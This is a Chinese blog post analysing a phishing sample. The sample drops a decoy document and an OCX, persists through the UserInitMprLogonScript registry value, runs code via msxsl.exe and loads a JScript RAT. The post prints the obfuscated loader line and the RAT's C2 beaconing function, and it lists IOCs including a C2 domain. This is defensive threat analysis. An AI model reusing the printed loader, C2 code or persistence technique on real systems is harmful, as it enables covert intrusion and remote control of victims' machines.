某钓鱼样本分析
2020-01-12 03:23:49 Author: wbglil.github.io(查看原文) 阅读量:506 收藏

发表于 | 分类于

之前朋友发的链接就顺便看看

文件是一个混淆过的WScript脚本文件
沙盒执行

释放7397.doc和342.ocx
启动word打开7397.doc并调用regsvr32.exe运行342.ocx

文档截图

懒得去细看反正应该就是个什么表

342.ocx
生成BC88E872ECBCD35DFDD834.txt(jscript),28851D604F592.txt(XSL),msxsl.exe这三个文件其中前两个文件名随机

设置注册表
key:HKEY_CURRENT_USER\Software\Microsoft\Notepad
Name:当前用户名
value:id+前面两个txt文件名用,分割

设置注册表(使用Logon Scripts持久化)
key:HKEY_CURRENT_USER\Environment
name:UserInitMprLogonScript
value: cscripT /B /e:jsCript "%APPDATA%\Microsoft\BC88E872ECBCD35DFDD834.txt"
调用msxsl.exe执行代码连接C2
msxsl.exe 28851D604F592.txt 28851D604F592.txt
调用cmd删除自身

1
C:\Windows\system32\cmd.exe /c del "C:\Users\admin\AppData\Roaming\Microsoft\342.ocx" >> NUL

基本流程图

持久化分析

通过Logon Scripts方式到达持久化

BC88E872ECBCD35DFDD834.txt文件混淆简单

1
var gwzx5707 = 0;try{var gwzx86 = '"';var gwzx769515 = ".";var gwzx59 = "t";var gwzx657 = "e";var gwzx73 = new ActiveXObject("WScrip" + gwzx59 + gwzx769515 + "Sh" + gwzx657 + "ll");var gwzx056 = "x";var gwzx3636 = gwzx769515 + gwzx59 + gwzx056 + gwzx59;var gwzx786520 = gwzx769515 + gwzx657 + gwzx056 + gwzx657;var gwzx11 = "\\";var gwzx7 = gwzx86 + "C:" + gwzx11 + "Users" + gwzx11 + "admin" + gwzx11 + "AppData" + gwzx11 + "Roaming" + gwzx11 + "Microsoft" + gwzx11 + "";var gwzx581 = "28851D604F592";var gwzx35270 = gwzx7 + "ms" + gwzx056 + "sl" + gwzx786520 + gwzx86 + " " + gwzx7 + gwzx581 + gwzx3636 + gwzx86 + " " + gwzx7 + gwzx581 + gwzx3636 + gwzx86;gwzx73.Run(gwzx35270, 0);} catch(gwzx7566){gwzx5707 = 606;}


使用WScript.Shell运行msxsl.exe执行28851D604F592.txt

28851D604F592.txt文件分析(jscript文件)

这个文件是主要代码它的混淆比较严重

这两行是被加密的核心代码其中第二行的代码为rat代码,第一行的代码是用来解密第二行的。它加密算法应该是自己写的,js里解密函数差不多占整个文件的一半

28851D604F592.txt这个文件是由342.ocx动态生成,而上面第二行加密的代码的密钥由342.ocx在运行时获取的用户名 PC名 处理器ID,然后把这三个值进行处理后作为密钥来加密rat核心代码,而上面的第一行代码在被解密执行后会在运行时会获取这三个值去解密rat核心代码然后启动rat核心代码

首先调用解密函数gsdxqk072433解密gsdxqk1444变量

然后调用gsdxqk352函数执行解密后的代码

现在我们转到被解密的第一行代码,这里放出关键部分

其中gsdxqk535函数可以很明显的看出是用来获取pc名 用户名 处理器id这三个值的

然后让我们往下看

可以看到在使用密钥对gsdxqk379459变量进行解密并且在使用gsdxqk352函数去执行解密后的代码

rat核心代码

现在我们来分析一下rat核心代码

文件开头主要是定义了一些变量留到后面使用

看到那个Gete变量我感觉这个rat控制端应该是web开发的

开始执行

基本是初始化一些变量然后调用check_inside检测一下js文件环境变量等等

check_inside函数部分截图

检查结束后调用go检查网络情况c2情况如果失败就调用waitfor2等待一定时间后重新调用go函数成功就调用Main函数

Main函数


基本流程就是收集系统信息发送系统信息然后判断返回根据返回的命令执行指定任务或进入等待函数然后等待一段时间后调用Main

bot_header获取系统信息


小部分截图,这个函数里太tm多if了比如这样的

最后返回数据

末尾的BV应该是版本号

hit_Gate函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
function hit_Gate(URL, POSTdata, gResponse, method) {
var Resp = "";
var Temp89 = "";
var con4;
var respzz;
if (SYSTEM === 1) {
con4 = xhr;
} else {
if (method === 1) {
con4 = xhr;
} else {
con4 = con;
}
}
try {
con4.open("POST", URL, false);
} catch(e10) {
if (SYSTEM === 0 && method === 0) {
return hit_Gate(URL, POSTdata, gResponse, 1);
} else {
return "gErr";
}
}
if (gResponse === 1) {
con4.onreadystatechange = function() {
if (con4.readyState === 4) {
if (con4.status === 200) {
respzz = con4.responseText;
if (respzz) {
Temp89 = base91_decode(respzz);
if (Temp89) {
var wo = Temp89.substr(0, Temp89.length - 2);
var KeyNow = Temp89.substr(Temp89.length - 2);
Resp = zzzz4(Rkey + KeyNow, wo);
if (Resp) {
respzz = "";
} else {
Resp = "gErr";
}
} else {
Resp = "gErr";
}
} else {
Resp = "OK";
}
} else {
Resp = "gErr";
}
}
};
}
var keynow = rStr(2);
var rNow = rInt(8, 32);
var not_unique = POSTdata + "|" + rStr(rNow) + "|";
var xCrypted = zzzz4(Rkey + keynow, not_unique) + keynow;
var encoded = base91_encode(xCrypted);
var g11 = 0;
if (SYSTEM === 1 || method === 1) {
try {
con4.setOption(2, 13056);
} catch(e411) {
g11 = 1;
}
}
try {
con4.send(encoded);
} catch(e11) {
if (SYSTEM === 0 && method === 0) {
return hit_Gate(URL, POSTdata, gResponse, 1);
} else {
return "gErr";
}
}
if (gResponse === 1) {
return Resp;
}
}

发送数据获取任务返回给Main函数然后判断是否有任务如果有则调用eTask无则进入等待函数waitfor

eTask

任务执行函数,一共实现了6个功能

下载执行exe或dll

更新程序

自删除

重启程序

执行cmd不返回结果或返回结果

IOC

MD5
F2C17BE8CDAABBC4C596BABB076AB22B

domain
dcc.experientialcentral.com

链接:
https://twitter.com/SBousseaden/status/1208000088875978753

最后

本来是想之前就更新博客的但是因为种种原因一直没写,天气太冷都不想动了哈哈


文章来源: http://wbglil.github.io/2020/01/11/%E6%9F%90%E9%92%93%E9%B1%BC%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/
如有侵权请联系:admin#unsafe.sh